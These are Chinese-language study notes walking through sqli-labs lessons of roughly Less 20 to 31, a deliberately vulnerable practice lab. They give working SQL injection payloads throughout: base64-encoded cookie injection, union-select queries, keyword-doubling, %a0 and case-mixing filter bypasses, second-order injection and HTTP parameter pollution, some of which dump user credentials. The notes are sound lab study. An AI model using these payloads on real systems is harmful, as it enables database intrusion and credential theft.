人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
从 Less 18 开始修改 HTTP 头部信息的操作在 Firefox 浏览器的开发者工具也可以做。
sublime(代码编辑器)
Firefox
用户输入被 check_input() 函数过滤
输入正常则产生cookie,并base64编码
获取cookie并进行数据库查询
cookie 没有被过滤,可以利用
直接在 cookie 处构造 payload 进行注入
cookie 参数进行单引号+括号闭合
注意 cookie 先进行 base64 编码
uname = ') union select 1,2,3 #
uname = JykgdW5pb24gc2VsZWN0IDEsMiwzICM=
用户输入被 check_input() 过滤
直接获取 cookie,base64 解码,双引号引用,拼接 sql 语句进行数据库查询并返回数据
随便数据用户参数
构造 cookie,双引号闭合,base64 编码之后进行注入
查看数据回显
uname = " union select 1,2,3 #
uname = IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==
get 注入
注释符"#" , "--" 被转义
参数单引号引用
有数据回显
闭合单引号
?id= 1' and '1'='1
?id= 1' and '1'='2
3.1 查看数据回显
?id= ' union select 1,2,3 '
在登录界面登录之后数据传送到 login.php 处理
login.php 使用mysql_real_escape_string对参数中可能存在的特殊字符前添加反斜杠
传参正确后页面会重定向到 login_in.php 页面,该页面用于修改账号密码
输入要修改的密码之后页面会跳转到 pass_change.php 页面进行数据库的密码更新
login_create.php 用于创建一个新用户,并将新用户信息插入数据库中
漏洞点出现在 login_create.php 上
虽然有使用 mysql_escape_string() 在特殊字符前面添加一个反斜杠,但是在写入数
据库的时候反斜杠又被去除了
输入参数被过滤(这里的正则不区分大小写)
单引号引用
有数据回显
双写关键字绕过
闭合单引号
注释符要转换为URL编码 %23
?id=0' union select 1,2,3 %23
?id=0' union select 1,database(),version() %23
3. 爆表(ps:information 中的 or 字符会被过滤,所以也需要双写)
?id=0' union select 1,database(),(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security') %23
和 Less 25 一样的配方,只不过 SQL 语句在拼接参数的时候没有对参数进行单引号引用。
将以下的字符转义为空:
or
and
注释符:/**/,--,#
空格
反斜杠
关键字双写绕过
闭合单引号代替注释符
%a0 代替空格
?id=1' %a0 aandnd %a0 '1'='1
?id=1' %a0 aandnd %a0 '1'='2
3.1 数字回显
?id=0' %a0 union %a0 select %a0 1,2,3 %a0 '
?id=0' %a0 union %a0 select %a0 1,database(),version() %a0 '
3.3 爆表(ps:information --> infoorrmation )
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(table_name) %a0 from %a0 infoorrmation_schema.tables %a0 where %a0 table_schema='security') %a0 '
3.4 爆列(ps:information --> infoorrmation ; and --> aandnd)
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(column_name) %a0 from %a0 infoorrmation_schema.columns %a0 where %a0 table_schema='security' %a0 aandnd %a0 table_name='users') %a0 '
3.5 爆数据(ps:information --> infoorrmation ; password --> passwoorrd)
?id=0' %a0 union %a0 select %a0 1,(select %a0 group_concat(passwoorrd) %a0 from %a0 security.users),(select %a0 group_concat(username) %a0 from %a0 security.users) %a0 '
参数被过滤
单引号+括号引用参数
单引号+括号闭合
其余步骤可参考 Less25
?id= 0') %a0 union %a0 select %a0 1,2,3 %a0 aandnd %a0 ('1')=('1
参数被单引号引用
被过滤的字符串有:
/**/
--
#
空格
union,select(区分大小写)
过滤的关键字可以用大小写/双写绕过
%a0代替空格
单引号闭合
?id= 0' %a0 UNion %a0 SElect %a0 1,2,3 %a0 '
和 Less 27 的差不多,就是参数使用双引号引用,注意双引号闭合即可。
?id= 0" %a0 UNion %a0 SElect %a0 1,2,3 %a0 "
。。。
单引号+括号引用参数
此番过滤的字符串更少
注意单引号+括号闭合
剩余思路可以参考 Less26a
index.php
这是一个普通 SQL 注入漏洞网页
login.php
该网页意在模拟两层服务器对参数的处理
参数先经过最外层的 tomcat 服务器处理(Java_implimenttation()和whitelist())
之后将处理后的参数传递给 apache 服务器处理($id = $_GET['id'])
whitelist()
该函数意在使用正则表达式过滤除了数字之外的字符
java_implimentation()
该函数意为截取参数的第一个id值
构造两个 id 值,用 & 连接
第一个为数字,第二个构造 payload 进行注入
注释符使用 URL 编码 %23
login.php?id= 0' union select 1,2,3 #
login.php?id=1&id= 0' union select 1,2,3 %23
和 Less 29 一样,就是参数由双引号引用,注入时注意双引号闭合即可
猪头
2020.1.21